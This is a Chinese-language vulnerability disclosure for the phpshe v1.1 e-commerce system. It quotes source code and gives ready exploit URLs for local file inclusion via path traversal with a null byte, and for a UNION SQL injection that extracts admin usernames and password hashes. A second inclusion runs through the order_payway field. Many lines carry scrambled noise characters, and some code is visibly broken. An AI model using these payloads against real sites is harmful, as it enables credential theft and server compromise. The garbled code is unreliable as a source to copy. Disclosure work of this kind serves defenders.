phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
! `6 I$ }' Y1 W( X4 j% H1 K$ R/* Phpshe v1.1 Vulnerability
! C( [6 t  U/ {3 g& v9 _+ M/* ========================
2 r* M" Q' }/ n0 w$ C  R; G/* By: : Kn1f3
. [' c$ \+ `! f% u/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

. V( @' u7 P0 B2 U4 F+ `1 F: v- c- w

//common.php
if (get_magic_quotes_gpc()) {
! w+ T" Z% R0 u2 u, ]( q!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
$ b+ v6 G2 K. F6 v+ I! R' P!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
0 k, `7 M1 v# J! Belse {
  _1 I, L5 U5 R!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
" W* F1 A$ G- U3 tsession_start();
/ ?: f' Q" b8 t, Q, i5 V!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
+ e/ U, p  U; D6 D/ v: N!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

1 x7 a$ j5 |6 l7 i9 C. q0×01 包含漏洞

  j! a7 [) y4 `7 P4 a6 {* |" _% {
5 R- I+ @5 c$ t9 `$ w//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
  ]* S( _1 W# X?>
//common 文件 第15行开始
url路由配置
2 B" ^5 m: f; K9 z' w5 Z1 ?4 f) @$module = $mod = $act = 'index';
  c; U8 w# l% \7 W* t! Y$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
4 u# ]* j+ S. n+ D, ?$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
' y& w8 L; W, v8 E* _- ]

9 o8 E0 U  P- _7 `7 b! D% V3 C
- ]  `7 p6 [3 m/ O" A 0×02 搜索注入

9 t0 Z4 \; X1 l) z3 I$ v  b; P<code id="code2">

//product.php文件
case 'list':
+ a/ y  o, f/ V/ |$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
4 u2 K2 ?3 t! ]7 T# F; H/ ]//搜索
$sqlwhere = " and `product_state` = 1";
$ f6 ?! J" l1 k. b+ Qpe_lead('hook/category.hook.php');
7 @3 k. P) A6 _- Y$ m2 m0 F+ `if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
/ p) B6 G6 b" W  z; H9 h! g( j}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
  I; `7 k) x/ t$orderby = explode('_', $_g_orderby);
5 @* P# F4 {! _. ]; r4 ^$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
  u7 l+ e* h8 T+ E! H2 L  G& w}
else {
5 d: w1 T1 _6 G2 I0 L2 y1 m$sqlwhere .= " order by `product_id` desc";
8 r3 r2 n8 n) c2 Y0 A$ h  P9 }. G}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
4 `7 E$ y1 `7 U. m, j" V//热卖排行
$product_hotlist = product_hotlist();
//当前路径
, [" c# ]1 r' K0 F5 l$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
  a0 W) l* Y- z* |public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
1 D$ H- N7 b. q. K, i}
: ^0 W; s6 o1 F1 O5 [8 |, y. ^//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
- A- ?! R( ]  y; P& m$ }7 {

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

3 H" S8 s/ v8 N' Iif ($k == 'bank') {

- B& h) \8 D3 ?  Y$ W& B$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

4 z3 N0 k0 a* r2 |+ z6 U& z$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

. C( N' m2 ^9 h( {!$order['order_id'] && pe_error('订单号错误...');

" v: F7 f+ |: l. zif (isset($_p_pesubmit)) {

2 `. e) ?4 T: R9 l+ W1 g3 |: D0 rif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

& X, Z5 L% C7 \/ l, Lforeach ($info_list as $v) {

* t* i" N2 T* d3 Y5 a4 W$order['order_name'] .= "{$v['product_name']};";
# b3 i$ B' v1 k- `

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

# N8 S# B3 J; _) F6 d}//当一切准备好的时候就可以进行"鸡肋包含了"

/ @. I, }! E6 J. _6 G# yelse {

$ W: F9 F+ o7 L- X+ U0 ?0 g2 N! i) Upe_error('支付错误...');

}

) H) x- \2 Y, W  X% e0 ~$ u}

: q9 m" Z  ?5 e4 H0 {( |9 h6 u' v+ P$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

) Y3 m% W( V% K1 t+ X# Tbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>